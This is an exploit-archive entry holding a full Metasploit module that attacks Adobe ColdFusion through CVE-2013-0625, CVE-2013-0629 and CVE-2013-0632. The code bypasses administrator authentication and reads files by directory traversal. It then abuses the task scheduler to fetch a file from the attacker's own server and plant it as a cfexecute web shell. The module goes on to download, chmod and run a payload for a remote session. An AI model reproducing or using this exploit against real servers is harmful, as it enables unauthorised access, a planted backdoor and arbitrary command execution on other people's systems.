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- Full title: Adobe ColdFusion APSB13-03 Remote Exploit
- Date add: 2013-04-10
- Category: remote exploits
- Verified: Verified
- Platform: multiple
- ------------------------------------------------------------------
- require 'msf/core'
- require 'digest/sha1'
- require 'openssl'
- class Metasploit3 < Msf::Exploit::Remote
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::Remote::HttpServer
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Adobe ColdFusion APSB13-03',
- 'Description' => %q{
- This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
- * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
- * CVE-2013-0629: directory traversal
- * CVE-2013-0632: authentication bypass
- },
- 'Author' =>
- [
- 'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'CVE', '2013-0625'],
- [ 'CVE', '2013-0629'],
- # we don't actually exploit this, as this is the backdoor
- # dropped by malware exploiting the other vulnerabilities
- [ 'CVE', '2013-0631'],
- [ 'CVE', '2013-0632'],
- ],
- 'Targets' =>
- [
- ['Automatic Targeting', { 'auto' => true }],
- [
- 'Universal CMD',
- {
- 'Arch' => ARCH_CMD,
- 'Platform' => ['unix', 'win', 'linux']
- }
- ]
- ],
- 'DefaultTarget' => 1,
- 'Privileged' => true,
- 'Platform' => [ 'win', 'linux' ],
- 'DisclosureDate' => 'Jan 15 2013'))
- register_options(
- [
- Opt::RPORT(80),
- OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
- OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
- OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
- OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
- ], self.class)
- register_advanced_options(
- [
- OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
- ], self.class)
- end
- def check
- exploitable = 0
- exploitable += 1 if check_cve_2013_0629
- exploitable += 1 if check_cve_2013_0632
- exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
- end
- # Login any way possible, returning the cookies if successful, empty otherwise
- def login
- cf_cookies = {}
- ways = {
- 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
- 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
- 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
- }
- ways.each do |what, how|
- these_cookies = how.call
- if got_auth? these_cookies
- print_status "Authenticated using '#{what}' technique"
- cf_cookies = these_cookies
- break
- end
- end
- fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
- cf_cookies
- end
- def exploit
- # login
- cf_cookies = login
- # if we managed to login, get the listener ready
- datastore['URIPATH'] = rand_text_alphanumeric(6)
- srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
- start_service
- # drop a payload on disk which we can used to execute
- # arbitrary commands, which will be needed regardless of
- # which technique (cmd, payload) the user wants
- input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
- output_exec = "#{datastore['URIPATH']}-e.cfm"
- schedule_drop cf_cookies, input_exec, output_exec
- if datastore['CMD'] and not datastore['CMD'].empty?
- # now that the coldfusion exec is on disk, execute it,
- # passing in the command and arguments
- parts = datastore['CMD'].split(/\s+/)
- res = execute output_exec, parts.shift, parts.join(' ')
- print_line res.body.strip
- else
- # drop the payload
- input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
- output_payload = "#{datastore['URIPATH']}-p"
- schedule_drop cf_cookies, input_payload, output_payload
- # make the payload executable
- # XXX: windows?
- execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
- # execute the payload
- execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
- end
- handler
- end
- def execute cfm, cmd, args=''
- uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
- send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
- end
- def on_new_session(client)
- return
- # TODO: cleanup
- if client.type == "meterpreter"
- client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
- @files.each do |file|
- client.fs.file.rm("#{file}")
- end
- else
- @files.each do |file|
- client.shell_command_token("rm #{file}")
- end
- end
- end
- def on_request_uri cli, request
- cf_payload = "test"
- case request.uri
- when "/#{datastore['URIPATH']}-e"
- cf_payload = <<-EOF
- <cfparam name="url.cmd" type="string" default="id"/>
- <cfparam name="url.args" type="string" default=""/>
- <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
- <cfoutput>#output#</cfoutput>
- EOF
- when "/#{datastore['URIPATH']}-p"
- cf_payload = payload.encoded
- end
- send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
- end
- # Given a hash of cookie key value pairs, return a string
- # suitable for use as an HTTP Cookie header
- def build_cookie_header cookies
- cookies.to_a.map { |a| a.join '=' }.join '; '
- end
- # this doesn't actually work
- def twiddle_csrf cookies, enable=false
- mode = (enable ? "Enabling" : "Disabling")
- print_status "#{mode} CSRF protection"
- params = {
- 'SessEnable' => enable.to_s,
- }
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
- 'method' => 'POST',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookies),
- 'vars_post' => params,
- })
- if res
- if res.body =~ /SessionManagement should/
- print_error "Error #{mode} CSRF"
- end
- else
- print_error "No response while #{mode} CSRF"
- end
- end
- # Using the provided +cookies+, schedule a ColdFusion task
- # to request content from +input_uri+ and drop it in +output_path+
- def schedule_drop cookies, input_uri, output_path
- vprint_status "Attempting to schedule ColdFusion task"
- cookie_hash = cookies
- scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
- scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
- # make a request to the scheduletasks page to pick up the CSRF token
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, scheduletasks_path),
- 'method' => 'GET',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookie_hash),
- })
- cookie_hash.merge! get_useful_cookies res
- if res
- # XXX: I can only seem to get this to work if 'Enable Session Variables'
- # is disabled (Server Settings -> Memory Variables)
- token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
- unless token
- print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
- #twiddle_csrf cookies, false
- token = ''
- end
- else
- fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
- end
- # make a request to the scheduletasks page again, this time passing in our CSRF token
- # in an attempt to get all of the other cookies used in a request
- cookie_hash.merge! get_useful_cookies res
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
- 'method' => 'GET',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookie_hash),
- })
- fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
- # pick a unique task ID
- task_id = SecureRandom.uuid
- # drop the backdoor in the CFIDE directory so it can be executed
- publish_file = '../../wwwroot/CFIDE/' + output_path
- # pick a start date. This must be in the future, so pick
- # one sufficiently far ahead to account for time zones,
- # improper time keeping, solar flares, drift, etc.
- start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
- params = {
- 'csrftoken' => token,
- 'TaskName' => task_id,
- 'Group' => 'default',
- 'Start_Date' => start_date,
- 'End_Date' => '',
- 'ScheduleType' => 'Once',
- 'StartTimeOnce' => '1:37 PM',
- 'Interval' => 'Daily',
- 'StartTimeDWM' => '',
- 'customInterval_hour' => '0',
- 'customInterval_min' => '0',
- 'customInterval_sec' => '0',
- 'CustomStartTime' => '',
- 'CustomEndTime' => '',
- 'repeatradio' => 'norepeatforeverradio',
- 'Repeat' => '',
- 'crontime' => '',
- 'Operation' => 'HTTPRequest',
- 'ScheduledURL' => input_uri,
- 'Username' => '',
- 'Password' => '',
- 'Request_Time_out' => '',
- 'proxy_server' => '',
- 'http_proxy_port' => '',
- 'publish' => '1',
- 'publish_file' => publish_file,
- 'publish_overwrite' => 'on',
- 'eventhandler' => '',
- 'exclude' => '',
- 'onmisfire' => '',
- 'onexception' => '',
- 'oncomplete' => '',
- 'priority' => '5',
- 'retrycount' => '3',
- 'advancedmode' => 'true',
- 'adminsubmit' => 'Submit',
- 'taskNameOriginal' => task_id,
- 'groupOriginal' => 'default',
- 'modeOriginal' => 'server',
- }
- cookie_hash.merge! (get_useful_cookies res)
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, scheduleedit_path),
- 'method' => 'POST',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookie_hash),
- 'vars_post' => params,
- })
- if res
- # if there was something wrong with the task, capture those errors
- # print them and abort
- errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
- if errors.empty?
- if res.body =~ /SessionManagement should/
- fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
- end
- print_status "Created task #{task_id}"
- else
- fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
- end
- else
- fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
- end
- print_status "Executing task #{task_id}"
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
- 'method' => 'GET',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookie_hash),
- })
- #twiddle_csrf cookies, true
- if datastore['DELETE_TASK']
- print_status "Removing task #{task_id}"
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
- 'method' => 'GET',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookie_hash),
- })
- end
- vprint_status normalize_uri(target_uri, publish_file)
- publish_file
- end
- # Given the HTTP response +res+, extract any interesting, non-empty
- # cookies, returning them as a hash
- def get_useful_cookies res
- set_cookie = res.headers['Set-Cookie']
- # Parse the Set-Cookie header
- parsed_cookies = CGI::Cookie.parse(set_cookie)
- # Clean up the cookies we got by:
- # * Dropping Path and Expires from the parsed cookies -- we don't care
- # * Dropping empty (reset) cookies
- %w(Path Expires).each do |ignore|
- parsed_cookies.delete ignore
- parsed_cookies.delete ignore.downcase
- end
- parsed_cookies.keys.each do |name|
- parsed_cookies[name].reject! { |value| value == '""' }
- end
- parsed_cookies.reject! { |name,values| values.empty? }
- # the cookies always seem to start with CFAUTHORIZATION_, but
- # give the module the ability to log what it got in the event
- # that this stops becoming an OK assumption
- unless parsed_cookies.empty?
- vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
- end
- cookie_pattern = /^CF/
- useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
- if useful_cookies.empty?
- vprint_status "No #{cookie_pattern} cookies found"
- else
- vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
- end
- useful_cookies
- end
- # Authenticates to ColdFusion Administrator via the adminapi using the
- # specified +user+ and +password+. If +use_rds+ is true, it is assumed that
- # the provided credentials are for RDS, otherwise they are assumed to be
- # credentials for ColdFusion Administrator.
- #
- # Returns a hash (cookie name => value) of the cookies obtained
- def adminapi_login user, password, use_rds
- vprint_status "Attempting ColdFusion Administrator adminapi login"
- user ||= ''
- password ||= ''
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
- 'method' => 'POST',
- 'connection' => 'TE, close',
- 'vars_post' => {
- 'method' => 'login',
- 'adminUserId' => user,
- 'adminPassword' => password,
- 'rdsPasswordAllowed' => (use_rds ? '1' : '0')
- }
- })
- if res
- if res.code == 200
- vprint_status "HTTP #{res.code} when authenticating"
- return get_useful_cookies(res)
- else
- print_error "HTTP #{res.code} when authenticating"
- end
- else
- print_error "No response when authenticating"
- end
- {}
- end
- # Authenticates to ColdFusion Administrator using the specified +user+ and
- # +password+
- #
- # Returns a hash (cookie name => value) of the cookies obtained
- def administrator_login user, password
- cf_cookies = administrator_9x_login user, password
- unless got_auth? cf_cookies
- cf_cookies = administrator_10x_login user, password
- end
- cf_cookies
- end
- def administrator_10x_login user, password
- # coldfusion 10 appears to do:
- # cfadminPassword.value = hex_sha1(cfadminPassword.value)
- vprint_status "Trying ColdFusion 10.x Administrator login"
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
- 'method' => 'POST',
- 'vars_post' => {
- 'cfadminUserId' => user,
- 'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
- 'requestedURL' => '/CFIDE/administrator/index.cfm',
- 'submit' => 'Login',
- }
- })
- if res
- if res.code.to_s =~ /^30[12]/
- useful_cookies = get_useful_cookies res
- if got_auth? useful_cookies
- return useful_cookies
- end
- else
- if res.body =~ /<title>Error/i
- print_status "Appears to be restricted and/or not ColdFusion 10.x"
- elsif res.body =~ /A License exception has occurred/i
- print_status "Is license restricted"
- else
- vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
- vprint_status res.body
- end
- end
- end
- return {}
- end
- def got_auth? cookies
- not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
- end
- def administrator_9x_login user, password
- vprint_status "Trying ColdFusion 9.x Administrator login"
- # coldfusion 9 appears to do:
- # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
- #
- # You can get a current salt from
- # http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
- #
- # Unfortunately that URL might be restricted and the salt really just looks
- # to be the current time represented as the number of milliseconds since
- # the epoch, so just use that
- salt = (Time.now.to_i * 1000).to_s
- pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
- 'method' => 'POST',
- 'vars_post' => {
- 'submit' => 'Login',
- 'salt' => salt,
- 'cfadminUserId' => user,
- 'requestedURL' => '/CFIDE/administrator/index.cfm',
- 'cfadminPassword' => pass,
- }
- })
- if res
- return get_useful_cookies res
- else
- print_error "No response while trying ColdFusion 9.x authentication"
- end
- {}
- end
- # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
- #
- # Returns a hash (cookie name => value) of the cookies obtained
- def componentutils_login user, password
- vprint_status "Attempting ColdFusion ComponentUtils login"
- vars = {
- 'j_password_required' => "Password+Required",
- 'submit' => 'Login',
- }
- vars['rdsUserId'] = user if user
- vars['j_password'] = password if password
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
- 'method' => 'POST',
- 'connection' => 'TE, close',
- 'vars_post' => vars
- })
- cf_cookies = {}
- if res.code.to_s =~ /^(?:200|30[12])$/
- cf_cookies = get_useful_cookies res
- else
- print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
- end
- cf_cookies
- end
- def check_cve_2013_0629
- vulns = 0
- paths = %w(../../../license.txt ../../../../license.html)
- # first try password-less bypass in the event that this thing
- # was just wide open
- vuln_without_creds = false
- paths.each do |path|
- if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
- vulns += 1
- vuln_without_creds = true
- break
- end
- end
- if vuln_without_creds
- print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
- else
- print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
- end
- # if credentials are provided, try those too
- if datastore['USERNAME'] and datastore['PASSWORD']
- vuln_without_bypass = false
- paths.each do |path|
- cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
- if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
- vulns += 1
- vuln_without_bypass = true
- break
- end
- end
- if vuln_without_bypass
- print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
- else
- print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
- end
- end
- # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
- vuln_with_bypass = false
- paths.each do |path|
- cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
- # we need to take the cookie value from CFAUTHORIZATION_cfadmin
- # and use it for CFAUTHORIZATION_componentutils
- cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
- cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
- if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
- vulns += 1
- vuln_with_bypass = true
- break
- end
- end
- if vuln_with_bypass
- print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
- else
- print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
- end
- vulns > 0
- end
- # Checks for CVE-2013-0632, returning true if the target is
- # vulnerable, false otherwise
- def check_cve_2013_0632
- if datastore['USERDS']
- # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
- # subsequently *enabled* after install, the password is unset so we simply must
- # check that and only that.
- cf_cookies = adminapi_login 'foo', 'bar', true
- if cf_cookies.empty?
- print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
- else
- print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
- return true
- end
- else
- print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
- end
- false
- end
- def traverse_read path, cookies
- uri = normalize_uri(target_uri.path)
- uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
- uri << path
- res = send_request_cgi(
- {
- 'uri' => uri,
- 'method' => 'GET',
- 'connection' => 'TE, close',
- 'cookie' => build_cookie_header(cookies)
- })
- res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
- end
- end
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